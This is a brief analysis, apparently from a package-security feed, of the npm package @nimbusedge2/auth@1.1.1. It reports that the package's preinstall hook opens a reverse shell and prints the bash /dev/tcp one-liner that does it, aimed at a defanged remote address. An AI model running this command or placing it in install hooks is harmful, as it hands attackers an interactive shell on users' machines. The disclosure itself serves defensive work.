@nimbusedge2/auth@1.1.1

Analysis

The package's preinstall hook opens a reverse shell to 147[.]93[.]157[.]202:8080 using `bash -i >& /dev/tcp/147[.]93[.]157[.]202/8080 0>&1` and pipes the interactive shell's output to hxxp://canarytokens[.]com/terms/7dc94zmd3so67n5vbz5bxmt7v/contact[.]php via a POST. Installing the package hands the remote host an interactive shell on the installer's machine. The package contains no other code.